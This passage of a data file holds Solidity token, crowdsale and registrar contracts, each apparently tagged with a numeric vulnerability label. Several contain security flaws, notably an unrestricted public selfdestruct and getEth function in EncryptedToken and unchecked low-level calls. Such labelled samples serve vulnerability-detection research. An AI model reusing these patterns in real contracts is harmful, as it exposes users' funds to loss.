function claimTokens(address _token) public onlyOwner {
if (wpr.owner() == address(this)) {
wpr.claimTokens(_token);
}
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
function pauseContribution(bool _paused) onlyOwner {
paused = _paused;
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event NewSale(address indexed _th, uint256 _amount, uint256 _tokens);
event Initialized(uint _now);
event Finalized(uint _now);
}
contract Exchanger is ExchangerI, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public collected;
uint256 public totalCollected;
MiniMeToken public wct1;
MiniMeToken public wct2;
Contribution public contribution;
function Exchanger(address _wct1, address _wct2, address _wpr, address _contribution) {
wct1 = MiniMeToken(_wct1);
wct2 = MiniMeToken(_wct2);
wpr = ERC20Basic(_wpr);
contribution = Contribution(_contribution);
}
function () public {
if (contribution.finalizedBlock() == 0) {
contribution.proxyPayment(msg.sender);
} else {
collect(msg.sender);
}
}
function collect(address caller) public {
require(getBlockTimestamp() > contribution.startTime());
uint256 pre_sale_fixed_at = contribution.initializedBlock();
uint256 balance = wct1.balanceOfAt(caller, pre_sale_fixed_at);
balance = balance.add(wct2.balanceOfAt(caller, pre_sale_fixed_at));
uint256 totalSupplied = wct1.totalSupplyAt(pre_sale_fixed_at);
totalSupplied = totalSupplied.add(wct2.totalSupplyAt(pre_sale_fixed_at));
uint256 total = totalCollected.add(wpr.balanceOf(address(this)));
assert(totalSupplied > 0);
uint256 amount = total.mul(balance).div(totalSupplied);
amount = amount.sub(collected[caller]);
require(amount > 0);
totalCollected = totalCollected.add(amount);
collected[caller] = collected[caller].add(amount);
require(wpr.transfer(caller, amount));
TokensCollected(caller, amount);
}
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
function getBlockTimestamp() internal constant returns (uint256) {
return block.timestamp;
}
function claimTokens(address _token) public onlyOwner {
assert(_token != address(wpr));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event TokensCollected(address indexed _holder, uint256 _amount);
} | 1 | 3,695 |
pragma solidity ^0.4.20;
interface SvEns {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
contract SvEnsCompatibleRegistrar {
SvEns public ens;
bytes32 public rootNode;
mapping (bytes32 => bool) knownNodes;
mapping (address => bool) admins;
address public owner;
modifier req(bool c) {
require(c);
_;
}
function SvEnsCompatibleRegistrar(SvEns ensAddr, bytes32 node) public {
ens = ensAddr;
rootNode = node;
admins[msg.sender] = true;
owner = msg.sender;
}
function addAdmin(address newAdmin) req(admins[msg.sender]) external {
admins[newAdmin] = true;
}
function remAdmin(address oldAdmin) req(admins[msg.sender]) external {
require(oldAdmin != msg.sender && oldAdmin != owner);
admins[oldAdmin] = false;
}
function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external {
if (remPrevOwnerAsAdmin) {
admins[owner] = false;
}
owner = newOwner;
admins[newOwner] = true;
}
function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external {
_setSubnodeOwner(subnode, _owner);
}
function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external {
bytes32 subnode = keccak256(subnodeStr);
_setSubnodeOwner(subnode, _owner);
}
function _setSubnodeOwner(bytes32 subnode, address _owner) internal {
require(!knownNodes[subnode]);
knownNodes[subnode] = true;
ens.setSubnodeOwner(rootNode, subnode, _owner);
}
} | 1 | 3,462 |
pragma solidity ^0.4.19;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract TitaniumBlockchain is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function TitaniumBlockchain(
) {
balances[msg.sender] = 100000000;
totalSupply = 100000000;
name = "TitaniumBlockchain";
decimals = 0;
symbol = "TBAR";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,623 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract TimedPresaleCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public presaleOpeningTime;
uint256 public presaleClosingTime;
uint256 public bonusUnlockTime;
event CrowdsaleTimesChanged(uint256 presaleOpeningTime, uint256 presaleClosingTime, uint256 openingTime, uint256 closingTime);
modifier onlyWhileOpen {
require(isPresale() || isSale());
_;
}
constructor(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public
TimedCrowdsale(_openingTime, _closingTime) {
changeTimes(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime);
}
function changeTimes(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public onlyOwner {
require(!isFinalized);
require(_presaleClosingTime >= _presaleOpeningTime);
require(_openingTime >= _presaleClosingTime);
require(_closingTime >= _openingTime);
presaleOpeningTime = _presaleOpeningTime;
presaleClosingTime = _presaleClosingTime;
openingTime = _openingTime;
closingTime = _closingTime;
emit CrowdsaleTimesChanged(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime);
}
function isPresale() public view returns (bool) {
return now >= presaleOpeningTime && now <= presaleClosingTime;
}
function isSale() public view returns (bool) {
return now >= openingTime && now <= closingTime;
}
}
contract TokenCappedCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public cap;
uint256 public totalTokens;
uint256 public soldTokens = 0;
bool public capIncreased = false;
event CapIncreased();
constructor() public {
cap = 400 * 1000 * 1000 * 1 ether;
totalTokens = 750 * 1000 * 1000 * 1 ether;
}
function notExceedingSaleCap(uint256 amount) internal view returns (bool) {
return cap >= amount.add(soldTokens);
}
function finalization() internal {
super.finalization();
}
}
contract OpiriaCrowdsale is TimedPresaleCrowdsale, MintedCrowdsale, TokenCappedCrowdsale {
using SafeMath for uint256;
uint256 public presaleWeiLimit;
address public tokensWallet;
uint256 public totalBonus = 0;
bool public hiddenCapTriggered;
uint16 public additionalBonusPercent = 0;
mapping(address => uint256) public bonusOf;
constructor(ERC20 _token, uint16 _initialEtherUsdRate, address _wallet, address _tokensWallet,
uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime
) public
TimedPresaleCrowdsale(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime)
Crowdsale(_initialEtherUsdRate, _wallet, _token) {
setEtherUsdRate(_initialEtherUsdRate);
tokensWallet = _tokensWallet;
require(PausableToken(token).paused());
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).mul(10);
}
function _getBonusAmount(uint256 tokens) internal view returns (uint256) {
uint16 bonusPercent = _getBonusPercent();
uint256 bonusAmount = tokens.mul(bonusPercent).div(100);
return bonusAmount;
}
function _getBonusPercent() internal view returns (uint16) {
if (isPresale()) {
return 20;
}
uint256 daysPassed = (now - openingTime) / 1 days;
uint16 calcPercent = 0;
if (daysPassed < 15) {
calcPercent = (15 - uint8(daysPassed));
}
calcPercent = additionalBonusPercent + calcPercent;
return calcPercent;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_saveBonus(_beneficiary, _tokenAmount);
_deliverTokens(_beneficiary, _tokenAmount);
soldTokens = soldTokens.add(_tokenAmount);
}
function _saveBonus(address _beneficiary, uint256 tokens) internal {
uint256 bonusAmount = _getBonusAmount(tokens);
if (bonusAmount > 0) {
totalBonus = totalBonus.add(bonusAmount);
soldTokens = soldTokens.add(bonusAmount);
bonusOf[_beneficiary] = bonusOf[_beneficiary].add(bonusAmount);
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
if (isPresale()) {
require(_weiAmount >= presaleWeiLimit);
}
uint256 tokens = _getTokenAmount(_weiAmount);
uint256 bonusTokens = _getBonusAmount(tokens);
require(notExceedingSaleCap(tokens.add(bonusTokens)));
}
function setEtherUsdRate(uint16 _etherUsdRate) public onlyOwner {
rate = _etherUsdRate;
presaleWeiLimit = uint256(1 ether).mul(2500).div(rate);
}
function setAdditionalBonusPercent(uint8 _additionalBonusPercent) public onlyOwner {
additionalBonusPercent = _additionalBonusPercent;
}
function sendTokensTo(uint256 amount, address to) public onlyOwner {
require(!isFinalized);
require(notExceedingSaleCap(amount));
require(MintableToken(token).mint(to, amount));
soldTokens = soldTokens.add(amount);
emit TokenPurchase(msg.sender, to, 0, amount);
}
function sendTokensToBatch(uint256[] amounts, address[] recipients) public onlyOwner {
require(amounts.length == recipients.length);
for (uint i = 0; i < recipients.length; i++) {
sendTokensTo(amounts[i], recipients[i]);
}
}
function addBonusBatch(uint256[] amounts, address[] recipients) public onlyOwner {
for (uint i = 0; i < recipients.length; i++) {
require(PausableToken(token).balanceOf(recipients[i]) > 0);
require(notExceedingSaleCap(amounts[i]));
totalBonus = totalBonus.add(amounts[i]);
soldTokens = soldTokens.add(amounts[i]);
bonusOf[recipients[i]] = bonusOf[recipients[i]].add(amounts[i]);
}
}
function unlockTokenTransfers() public onlyOwner {
require(isFinalized);
require(now > closingTime + 30 days);
require(PausableToken(token).paused());
bonusUnlockTime = now + 30 days;
PausableToken(token).unpause();
}
function distributeBonus(address[] addresses) public onlyOwner {
require(now > bonusUnlockTime);
for (uint i = 0; i < addresses.length; i++) {
if (bonusOf[addresses[i]] > 0) {
uint256 bonusAmount = bonusOf[addresses[i]];
_deliverTokens(addresses[i], bonusAmount);
totalBonus = totalBonus.sub(bonusAmount);
bonusOf[addresses[i]] = 0;
}
}
if (totalBonus == 0 && reservedTokensClaimStage == 3) {
MintableToken(token).finishMinting();
}
}
function withdrawBonus() public {
require(now > bonusUnlockTime);
require(bonusOf[msg.sender] > 0);
_deliverTokens(msg.sender, bonusOf[msg.sender]);
totalBonus = totalBonus.sub(bonusOf[msg.sender]);
bonusOf[msg.sender] = 0;
if (totalBonus == 0 && reservedTokensClaimStage == 3) {
MintableToken(token).finishMinting();
}
}
function finalization() internal {
super.finalization();
uint256 toMintNow = totalTokens.mul(25).div(100);
if (!capIncreased) {
toMintNow = toMintNow.add(50 * 1000 * 1000);
}
_deliverTokens(tokensWallet, toMintNow);
}
uint8 public reservedTokensClaimStage = 0;
function claimReservedTokens() public onlyOwner {
uint256 toMintNow = totalTokens.mul(5).div(100);
if (reservedTokensClaimStage == 0) {
require(now > closingTime + 6 * 30 days);
reservedTokensClaimStage = 1;
_deliverTokens(tokensWallet, toMintNow);
}
else if (reservedTokensClaimStage == 1) {
require(now > closingTime + 12 * 30 days);
reservedTokensClaimStage = 2;
_deliverTokens(tokensWallet, toMintNow);
}
else if (reservedTokensClaimStage == 2) {
require(now > closingTime + 24 * 30 days);
reservedTokensClaimStage = 3;
_deliverTokens(tokensWallet, toMintNow);
if (totalBonus == 0) {
MintableToken(token).finishMinting();
MintableToken(token).transferOwnership(owner);
}
}
else {
revert();
}
}
function increaseCap() public onlyOwner {
require(!capIncreased);
require(!isFinalized);
require(now < openingTime + 5 days);
capIncreased = true;
cap = cap.add(50 * 1000 * 1000);
emit CapIncreased();
}
function triggerHiddenCap() public onlyOwner {
require(!hiddenCapTriggered);
require(now > presaleOpeningTime);
require(now < presaleClosingTime);
presaleClosingTime = now;
openingTime = now + 24 hours;
hiddenCapTriggered = true;
}
} | 0 | 875 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 500000000;
uint256 public buyPrice = 2000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'TEME', '18') payable public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() payable public {
selfdestruct(owner);
}
function getEth(uint num) payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 1 | 4,178 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract StandardToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract Recoverable is Ownable {
constructor() public {
}
function recoverTokens(IERC20 token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(IERC20 token) public view returns (uint) {
return token.balanceOf(this);
}
}
contract BurnableToken is StandardToken, Ownable {
event BurningAgentAdded(address indexed account);
event BurningAgentRemoved(address indexed account);
mapping (address => bool) public isBurningAgent;
modifier canBurn() {
require(isBurningAgent[msg.sender]);
_;
}
function setBurningAgent(address _address, bool _status) public onlyOwner {
require(_address != address(0));
isBurningAgent[_address] = _status;
if(_status) {
emit BurningAgentAdded(_address);
} else {
emit BurningAgentRemoved(_address);
}
}
function burn(
uint256 _value
)
public
canBurn
returns (bool)
{
_burn(msg.sender, _value);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
uint256 mintLockPeriod = 1575158399;
mapping (address => bool) public isMinter;
modifier canMint() {
require(isMinter[msg.sender]);
_;
}
function setMintingAgent(address _address, bool _status) public onlyOwner {
require(_address != address(0));
isMinter[_address] = _status;
if(_status) {
emit MinterAdded(_address);
} else {
emit MinterRemoved(_address);
}
}
function mint(
address _to,
uint256 _value
)
public
canMint
returns (bool)
{
require(block.timestamp > mintLockPeriod);
_mint(_to, _value);
return true;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
